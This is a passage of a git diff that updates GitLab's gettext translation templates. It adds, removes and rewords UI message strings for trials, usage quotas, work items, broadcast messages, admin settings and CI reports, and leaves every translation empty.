@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/sr_CS/gitlab.po b/locale/sr_CS/gitlab.po
index 030707a6656..165494b6cf9 100644
--- a/locale/sr_CS/gitlab.po
+++ b/locale/sr_CS/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sr-CS\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:44\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -841,6 +841,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -913,6 +916,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1045,6 +1051,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1063,6 +1075,12 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1105,9 +1123,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1222,12 +1237,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1673,7 +1682,7 @@ msgstr[1] ""
msgstr[2] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -1903,6 +1912,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2047,9 +2059,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2098,9 +2107,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2260,7 +2266,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2338,6 +2344,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2716,15 +2725,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2806,9 +2818,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2836,6 +2857,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2890,6 +2917,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2959,6 +2989,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3133,9 +3169,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3427,7 +3463,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3472,6 +3508,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3730,6 +3769,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4372,9 +4414,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4543,15 +4582,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4585,9 +4615,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4840,6 +4867,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4984,9 +5023,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5077,6 +5113,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5221,6 +5260,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5776,6 +5818,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5791,12 +5836,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7372,9 +7423,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7972,6 +8107,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8083,13 +8221,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8374,6 +8509,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8533,12 +8671,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8722,6 +8854,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8848,6 +8983,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8950,12 +9088,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9622,21 +9766,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
